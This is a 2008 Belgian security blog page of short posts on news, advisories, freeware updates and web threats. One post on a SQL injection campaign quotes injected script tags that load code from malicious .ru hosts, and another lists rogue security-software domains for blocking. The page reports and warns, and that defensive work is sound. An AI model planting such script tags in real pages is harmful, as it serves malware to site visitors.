• Olympic streaming of video numbers

    In one of the single most ambitious media projects in history, NBC presented more than 3,600 hours of broadcast coverage during the 17-day event. Viewers of NBC's coverage of the Beijing Olympic Games used their PCs and laptops to access 2,200 hours of video that they could play back on demand, as well as 3,000 hours of highlights, rewinds, encores and scoring results. Individuals are also watching video and viewing results on their smartphones. Here are some of the record-breaking NBCOlympics.com video traffic statistics:

    • Video Streams: 75.5 million for Beijing, 10.8 million for Athens and Torino Games combined (+601%)
    • Unique Users: 51.9 million for Beijing, 25.2 million for Athens and Torino Games combined (+106%)
    • Page Views: 1.24 billion for Beijing, 561.1 million for Athens and Torino Games combined (+122%)

    my comment So lets conclude, the number of viewers only doubled and they only viewed double the number of pages, but they clicked on 6 times more streams. The problem is that these numbers don't differentiate between live streaming and hosted video so the network impact isn't that clear. Secondly it is not clear if they used proxies and mirrors or embedded videos with it.

  • Comcast limits netuse to 250GB per month

    We in Belgium have 25 to 30 GB a month- if we pay 30 Euro's each month that is

    "Comcast has announced that effective October 1, 2008, they will impose a 250 GB/month bandwidth cap on their users. Their web page about the policy states that "he median data usage by Comcast High-Speed Internet customers is approximately 2-3 GB each month," Comcast "Excessive Use" FAQ, and it is very likely that the average usage is a couple times higher, judging by the Japanese experience mentioned above. (Comcast says that fewer than 1% of their users exceed the 250 GB/month limit.) "

  • Update and exploit alerts

    web

    http://secunia.com/advisories/31641/  quickpoll SQL injection

    Server

    VMware critical updates

    PC software

    http://secunia.com/advisories/31595/  Acoustia Mixcraft - exploit available

    http://secunia.com/advisories/31632/  Ultraoffice  - exploit available

     

  • Hearings of US congress committee going back in time (funny)

    http://judiciary.senate.gov/hearing.cfm?id=3532

    joomla55

    I hope the Chairman knows what he was doing at that time in 2001 so he could have been present.....

  • belsecTV Votergate (about evoting)

    Votergate - The Presidential Election Special Edition (Election Fraud) - 36 mn - 3 mai 2006
    www.votergate.tv - www.votergate.tv

    Votergate, an action documentary, follows a young team on their nationwide investigation of the current problems with our voting systems and elections procedures. Fast-paced and engaging, Votergate reveals the shocking story of how touchscreen voting systems are highly susceptible to hacking and how these systems are being implemented across the country without the proper checks and balances to insure accuracy and accountability.«

     

  • freeware of the day Activ

    Activ can monitor in real-time: processes start/stop, reporting process name, ID and command line. Loading of images (DLLs), reporting image name, process ID where this image is loaded into, image base address and size. Registry functions execution, reporting key and value names.

    File open/create, read, write, rename reporting process ID (PID) that accessed a file, file name, desired access, share access, file attributes, options, buffer length and status of the executed operation. Version 1.2 added user interface program ActivSetup.exe to ease Activ settings selection and Registry monitoring is re-engineered using Microsoft Registry filtering model.

    http://www.download.com/Activ/3000-2162_4-10797583.html?cdlPid=10852674

  • updates of interesting and security freeware

    More than 800 freewares on update weekly update watch
     

       CDBurnerXP 4.2.1.864


    Get new version now  
    What's new in this version: Version 4.2.1.864 may include unspecified updates, enhancements, or bug fixes.
    updated:8/27/2008
    new version:4.2.1.864
    filed under:CD & DVD Burners
     

       eCipher Free 1.6


    Get new version now  
    What's new in this version: Version 1.6 features a the new "Anywhere" zero-download delivery option.
    updated:8/28/2008
    new version:1.6
    filed under:Encryption Software
     

       A-Z Free Video Converter 7.11


    Get new version now  
    What's new in this version: Version 7.11 may include unspecified updates, enhancements, or bug fixes.
    updated:8/25/2008
    new version:7.11
    filed under:Video Converters
     

       SourceMonitor 2.5.0.2


    Get new version now  
    What's new in this version: Version 2.5.0.2 may include unspecified updates, enhancements, or bug fixes.
    updated:8/28/2008
    new version:2.5.0.2
    filed under:Specialized Tools
     

       PRTG Network Monitor 7.0.7.1206


    Get new version now  
    What's new in this version: Version 7.0.7.1206 may include unspecified updates, enhancements, or bug fixes.
    updated:8/27/2008
    new version:7.0.7.1206
    filed under:Management Tools
     

       Free Registry Cleaner 4.9


    Get new version now  
    What's new in this version: Version 4.9 includes unspecified updates.
    updated:8/28/2008
    new version:4.9
    filed under:System Utilities
     

       Prism Video Converter 1.17


    Get new version now  
    What's new in this version: Version 1.17 may include unspecified updates, enhancements, and bug fixes.
    updated:8/26/2008
    new version:1.17
    filed under:Video Converters
     

       Orbit Downloader 2.7.4


    Get new version now  
    What's new in this version: Version 2.7.4 may include unspecified updates, enhancements, or bug fixes.
    updated:8/22/2008
    new version:2.7.4
    filed under:Download Managers
     

       The KMPlayer 2.9.3.1431


    Get new version now  
    What's new in this version: Version 2.9.3.1431 adds Setup wizard.
    updated:8/26/2008
    new version:2.9.3.1431
    filed under:Video Players
     

       Artisan DVD/DivX Player 3.51


    Get new version now  
    What's new in this version: Version 3.51 may include unspecified updates, enhancements, or bug fixes.
    updated:8/27/2008
    new version:3.51
    filed under:Digital Media Players
     

       Business Functions 1.5


    Get new version now  
    What's new in this version: Version 1.5 is an important maintenance release with a significant bug fix for Regular Expressions.
    updated:8/26/2008
    new version:1.5
    filed under:Spreadsheets
     

       doPDF Free PDF Converter 6.1.27


    Get new version now  
    What's new in this version: Version 6.1.27 includes unspecified updates.
    updated:8/27/2008
    new version:6.1.27
    filed under:Document Management
     

       Zortam Mp3 Media Studio 8.40


    Get new version now  
    What's new in this version: Version 8.40 added more servers for Zortam auto tagging using additional internet search.
    updated:8/28/2008
    new version:8.40
    filed under:Music Management
     

       Roadkil's Unstoppable Copier 3.51


    Get new version now  
    What's new in this version: Version 3.51 may include unspecified updates, enhancements, or bug fixes.
    updated:8/27/2008
    new version:3.51
    filed under:Backup Software
     

       Glary Utilities 2.6.1


    Get new version now  
    What's new in this version: Version 2.6.1 may include unspecified updates, enhancements, or bug fixes.
    updated:8/22/2008
    new version:2.6.1
    filed under:System Utilities
     

       SUMo 2.3.1.57


    Get new version now  
    What's new in this version: Version 2.3.1.57 includes Vista compatibility and fixed Winzip9 and multiple selection issues.
    updated:8/27/2008
    new version:2.3.1.57
    filed under:Automation Software
     

       Email Director .NET Edition 2.4


    Get new version now  
    What's new in this version: Version 2.4 has added local end point IP/Port.
    updated:8/25/2008
    new version:2.4
    filed under:Clients
     

       Glary Registry Repair 3


    Get new version now  
    What's new in this version: Version 3 improves scan engine and fixed some bug.
    updated:8/28/2008
    new version:3
    filed under:Diagnostic Software
     

       Ping Tester 9.10


    Get new version now  
    What's new in this version: Version 9.10 is a bug fixing release.
    updated:8/25/2008
    new version:9.10
    filed under:Network
     

       TekRADIUS 2.7


    Get new version now  
    What's new in this version: Version 2.7 may include unspecified updates, enhancements, or bug fixes.
    updated:8/28/2008
    new version:2.7
    filed under:Internet
     

       WinMerge 2.8.6


    Get new version now  
    What's new in this version: Version 2.8.6 may include unspecified updates, enhancements, or bug fixes.
    updated:8/27/2008
    new version:2.8.6
    filed under:Management & Distribution
     

       MSN Webcam Recorder 17


    Get new version now  
    What's new in this version: Version 17 improves video clips functionality.
    updated:8/28/2008
    new version:17
    filed under:Webcam & Video
     

       Ping Test Easy 4.12


    Get new version now  
    What's new in this version: Version 4.12 is a bug fix release.
    updated:8/28/2008
    new version:4.12
    filed under:Network
     

       BestSync 2008 3.6.18


    Get new version now  
    What's new in this version: Version 3.6.18 added the commands by command line to start tasks as Windows service, and other improvements and bug fixes.
    updated:8/25/2008
    new version:3.6.18
    filed under:Backup Software
     

       A-squared Free 3.5.0.25


    Get new version now  
    What's new in this version: Version 3.5.0.25 may include unspecified updates, enhancements, or bug fixes.
    updated:8/27/2008
    new version:3.5.0.25
    filed under:Antivirus Software
     

       Wise Registry Cleaner 3 Free 3.7 build 127


    Get new version now  
    What's new in this version: Version 3.7 build 127 updated some language packs and added new feature that can find empty software entries.
    updated:8/28/2008
    new version:3.7 build 127
    filed under:Diagnostic Software
     

       SendEmails Free Edition 2.0.14


    Get new version now  
    What's new in this version: Version 2.0.14 adds localizations for English, German, French, Spanish, Dutch, Portuguese, Greek, Russian, Chinese, and Japanese.
    updated:8/24/2008
    new version:2.0.14
    filed under:Clients
     

       TreeSize Free 2.2.1


    Get new version now  
    What's new in this version: Version 2.2.1 is now able to handle paths with more than 255 characters, optionally shows long tooltip window with detailed folder information, and improves compatibility with 64Bit systems.
    updated:8/27/2008
    new version:2.2.1
    filed under:File Management
     

       Spiceworks IT Desktop 3.1.25624


    Get new version now  
    What's new in this version: Version 3.1.25624 increases performance (up to 40% faster). New features include Microsoft Exchange support & monitoring, the ability to create custom navigation items for web-based tools, custom group creation, the ability to track service providers, shared reports.
    updated:8/26/2008
    new version:3.1.25624
    filed under:Management Tools
     

       WirelessKeyView 1.17


    Get new version now  
    What's new in this version: Version 1.17 may include unspecified updates, enhancements, or bug fixes.
    updated:8/27/2008
    new version:1.17
    filed under:Encryption Software
     

       SniffPass 1.06


    Get new version now  
    What's new in this version: Version 1.06 may include unspecified updates, enhancements, or bug fixes.
    updated:8/27/2008
    new version:1.06
    filed under:Network
     

       MessenPass 1.21


    Get new version now  
    What's new in this version: Version 1.21 may include unspecified updates, enhancements, or bug fixes.
    updated:8/27/2008
    new version:1.21
    filed under:Encryption Software
     

       IE PassView 1.09


    Get new version now  
    What's new in this version: Version 1.09 may include unspecified updates, enhancements, or bug fixes.
    updated:8/27/2008
    new version:1.09
    filed under:Encryption Software
     

       Avira AntiVir Personal - Free Antivirus 8.1.0.331


    Get new version now  
    What's new in this version: Version 8.1.0.331 may include unspecified updates, enhancements, or bug fixes.
    updated:8/25/2008
    new version:8.1.0.331
    filed under:Antivirus Software
     

       WordWeb 5.51


    Get new version now  
    What's new in this version: Version 5.51 includes updated databases.
    updated:8/26/2008
    new version:5.51
    filed under:Language
     

       Avast Home Edition 4.8.1229.80826


    Get new version now  
    What's new in this version: Version 4.8.1229.80826 contains improvements in the anti-rootkit module.
    updated:8/27/2008
    new version:4.8.1229.80826
    filed under:Antivirus Software

  • New SQL injections from .ru sites now

    The inserted links go to a popular drink in the US Sunkist that leads to other infected pages and links.

    Sunkist - Grower's Network - The Sunkist NewsLINK

    Sunkist received high ratings from USDA for its use of these matching funds. ujnc.ru/js.js>cnld.ru/js.js>uc8.ru/script.js>uc8.ru/script.js>nbh3.ru/script.js ...
    www.sunkist.com/growers/sunkist_report/report.asp?report_id=115 - 39k - In cache


    Net-Weddings Supplier Directory - East Sussex<script src=http ...Bedfordshire<script src=http://www.njep.ru/js.js></script><script ...... Sunkist Mobile tanning. 01403 240875. 9 Copse Close Horsham

    Auto Technica<script src=http://www.cdrpoex.com/ngg.js></script ...Deze site kan schade toebrengen aan uw computer.... src=http://www.oics.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg. js></script><script src=http://www.ujnc.ru/js.js></script> ...

    www.autotechnica.be/website2006/home.asp?lang=en

  • Belgium has still some anti-phishing work to do

    http://www.apwg.org/reports/APWG_GlobalPhishingSurvey2007.pdf

    Look at it like this, this means that every day of the year we have to clean up a phished website on the .be domain. Would be interesting to have a list of those because maybe there are specific hosts or sites that don't care a bit about security as we have seen with Joomla and are responsable for the majority of them.

    hack_63

  • blocklist pcprivacycleaner rogue securityware

    pcprivacycleaner.com
    Advancedprivacyguard.com
    Advancedprivacyguard2008.com
    Advancedprivacyguardpro.com
    Advancedprivacyguardsolution.com
    Advancedprivacyguardtool.com
    Advancedprivacysuite.com
    Advancedprivacysuite2008.com
    Advancedprivacysuite2009.com
    Advancedprivacysuitepro.com
    Antispyexpert.com
    Antispyexpertpro.com
    Antispywareexpert-scanner.com
    Antispywareexpert-solution.com
    Antispywareexpert-system.com
    Antispywareexpert.com
    Antispywareexpertpro.com
    Bestpcprivacycleaner.com
    Cyberadvancedprivacysuite.com
    Globaladvancedprivacyguard.com
    Globaladvancedprivacysuite.com
    Pc-cleanerpro.com
    Pcadvancedprivacyguard.com
    Anonymbrowser.com
    Best-payments.net
    Bestpaymentsolution.net
    Billingbit.com
    Billingbridge.com
    Blablahost.com
    Direct-billing.com
    Errordigger.com
    Errorinspector.com
    Internetsupernanny.com
    Passwordinspector.com
    Pctotaldefender.com
    Sellmosoft.net
    Softwarepayments.net
    Pcadvancedprivacysuite.com
    Pcprivacycleaner.com
    Pcprivacycleanerpro.com
    Personalpccleaner.com
    Swiftpcprivacycleaner.com
    Yourpcprivacycleaner.com

    cleanthe.net  source

  • freeware of the day AbsoluteShield Internet Eraser Lite 2.70

    AbsoluteShield Internet Eraser Lite contains a pop-up blocker and a privacy protector. It protects your privacy by cleaning all the tracks of your Internet and computer activities. The tool is integrated with Internet Explorer and can erase the browser history, cookies, typed URLs, recent documents, Recycle Bin, and temporary folders in one click, completely removing these files from your hard disk without the possibility of any practical software or hardware recovering them.

    http://www.download.com/AbsoluteShield-Internet-Eraser-Lite/3000-2381_4-10137779.html?cdlPid=10661782

  • belsecTV hippies from hell, the hackers

    Hippies from Hell - 53 mn - 9 févr. 2006
    IP Productions - http://hippies.waag.org/

    Hippies from Hell are a group of hackers, techies, artists, writers and puzzlers. In the eighties they published hacker magazine Hacktic and in 1993 they started the first Dutch Internet-provider, xs4all, thus opening the Internet for the general public. Apart from this they throw wild parties and organize open-air hacker festivals, using the Internet as their social platform. On their mailing list they discuss almost every aspect of our technology infested society. The Dutch hackers, as the hippies were called initially, are a special group within the international hacker movement, which they helped create for a large part. In the film artists play with hardware, young hippies hack their school-calculators, lock pickers open locks without a key: hacking is not just fooling around with technology, it is an attitude, an activity, a verb. 2002/ 2003 HIPPIES FROM HELL 53 minutes English Subtitled -DUTCH spoken- IP-productions, directed by Ine Poppe ,

  • belsecTV reverse engineering to find bugs

    Reverse engineering techniques to find security bugs: A case study of the ANI - 61 mn - 22 mai 2007
    Google EngEDU

    Google Tech Talks May 21, 2007 ABSTRACT Alex Sotirov is a vulnerability engineer at determina. He will discuss some latest techniques in reverse engineering software to find vulnerabilities. Particularly, he'll discuss his technique that lead him to find the ANI bug (a critical new bug in WinXP and Vista). Alex will describe the tools he uses for reverse engineering and show how he reverse engineered ANI Bug. He will continue to discussed Windows security mechanisms (ASLR, /GS) and describe how ANI exploit bypasses them.«

     

  • Belgacom infected mailservers ?

    well if there is no reason for this, than you should clean your reputation, especially if you say that your clients do not need the in the law foreseen free antivirus because you protect them enough on your network and servers ;

    http://www.trustedsource.org

    hack_53

     

    and

    hack_54

     

    It is not because you are not on any blacklists (yet) that you are safe and clean and secure (and responsable)

  • just a small thanks to all my readers

    the ads don't bring in any money (you don't click)

    the books don't sell (maybe on christmas or maybe if you are a school or enterprise, buy them through me, thanx)

    the free magz and whitepapers aren't read (too boring ?)

    so why do you do it ?

    To serve my public

    which I thank because being among the 30th popular blogs (the 13th last week 8th yesterday) between hundreds of other blogs that write about so many other popular things that is just feeling so good. Makes you feel good.

     

    sjabl_80

     

    First in september a few things will change around here, maybe some big things but that I can't tell you right now. For the readers here a few new things will be added.

    Tips and information can still be send to my mailaddress.

    We are looking here for project sponsers, to sponser some projects and ideas we have. It isn't that much so if you are interested as a project sponser, you can contact me.

    If you are interested to write - effectively write on some regular basis here - you can contact me also. There are also some stupid but interesting things to do and if you would like to take those on your shoulders, you are welcome (the weekly update freeware list for example or the belsectv section or any other interesting daily or weekly segment..... ). There are also other things you can do - correct my english :) or get a weekly summary out. You are welcome.

    We are soon to be one year, on november the 11th. And we have passed 100.000 pageviews for thid blog and more than 300.00 on the blogfeed of the Belgian Security Bloggers of which we are part. If you have a security blog in Belgium contact us and maybe you can become part of our family. Our family is meeting soon around a big meal, contact us if you would like to be invited.

    And if you have a site or a blog you can use our feed and some parts of our articles if you respect the copyright and aren't just a made for adsense site.

  • Energy news of the day

    Analysis: Sudan courts U.S. with oil
     - Sudan has offered the United States the opportunity to explore for oil in Darfur, parts of which reportedly have been recently cleared for Chinese exploration by way of government troops and aerial assaults on rebel-held areas. Sudanese President Omar Hassan al-Bashir told al-Arabiya TV earlier this week that the United States was welcome to explore for Darfur's mineral wealth, which ... more

    China hails three-billion-dollar oil deal with Iraq  Beijing (AFP) Aug 28, 2008 - China hailed Thursday a three-billion-dollar oil agreement with Iraq as a win for both nations, as it sought to reassure the rest of the world that it should not be concerned by the deal. Becoming the first foreign firm to enter such an agreement since the end of Saddam Hussein's regime, state-owned China National Petroleum Corp. (CNPC) this week won the right to develop the Al-Ahdab oil ... more

    Sunrise Solar Dispels Solar Myths
     San Antonio TX (SPX) Aug 28, 2008 - Sunrise Solar addresses the "solar myths" that often arise in shareholder questions relating to the role of solar power in America's future energy plans. Myth 1: Solar electricity cannot provide a significant part of America's electricity needs. Fact: The solar energy resource in a 100 square mile area of Nevada could supply ALL of the electricity needs of the United

    Mitsubishi Electric Announces Shipment Of PV Modules For Non-Electrified Areas
     Tokyo, Japan (SPX) Aug 28, 2008 - Mitsubishi Electric has announced the shipment of four small-size photovoltaic (PV) modules for the overseas market, suitable for use in stand-alone solar power generation systems in areas of the world where the local electrification infrastructure is insufficient or non-existent. The PV systems market has been rapidly expanding globally due to increasing concerns a ... more

    South Korea to build 10 more nuclear plants by 2030
     Seoul (AFP) Aug 27, 2008 - South Korea said Wednesday it will build 10 more nuclear power plants by 2030 and increase its renewable energy resources as part of a 100-billion-dollar plan to reduce its dependence on fossil fuels. South Korea, a highly industrialised nation with few natural energy sources, already uses nuclear plants to generate nearly a third of its power needs but hopes to increase that to nearly 60 ... more

    this is the first of a number of new things that will arrive here. It is all about the energy. If you haven't any, forget anything about computers, they ain't going to work. You should have an energy policy if you have computers, if you don't you are going to hit a wall and be spending more money on energy than on computing.

  • Joomla hacking just continues day after day

    anyone still thinking about Joomla as CMS ? anyone co-hosting on the same server with some Joomla ducks ?

     

    sjabl_79

  • internal phishpage by changing the external links on the site

    So here the hacker changed the page to which an external link would lead. It doesn't lead to the external site but to his page. Well this is quite interesting because imagine if you could do this with a phished page on the website for paypal for example. I am sure that it would be even more effective than all those mails and that few people would even notice it (and I am sure many admins would have no clue whatsoever).

    This is what the hacker did in his defacements, he changed the link to an external site with his own page. But that proof of concept could be used for anything. Who said that hackers weren't dangerous ? That defacement is just kiddie game ?

    source

    HACKED BY AdReNaLin

    HACKED BY AdReNaLin ...
    www.belgian-international.be/index.php?option=com_banners&task=click&bid=12 - 2k - Cached - Similar pages - Note this

    sjabl_78

  • Do not install zango (even if you are promised free copyrighted films)

    Some sites try to make money by asking you to click on some ads (you could do a small effort :) others try to install software for which they are paid. But to be sure that you install that software they try to block access to the content as long as you didn't install it. Now we have been finding like some reporters that some illegal film and crack sites try to oblige you to install software like zango before giving you access.

    It is a disaster for your pc if you install Zango and it will be very difficult to get if from your computer.

    http://www.benedelman.org/spyware/installations/dollidol-180/#removal

  • freeware of the day A-squared HiJackFree

    A-squared HiJackFree is a detailed system analysis tool which helps advanced users to detect and remove all types of hijackers, spyware, adware, trojans, and worms. Manage all types of Autoruns on your system, Explorer and Browser plug-ins (BHOs, Toolbars). Running processes and their associated modules, control all Services, even those Windows doesn't display, view open ports and the associated listening processes and edit the hosts file.

    http://www.download.com/A-squared-HiJackFree/3000-8022_4-10719194.html?cdlPid=10841644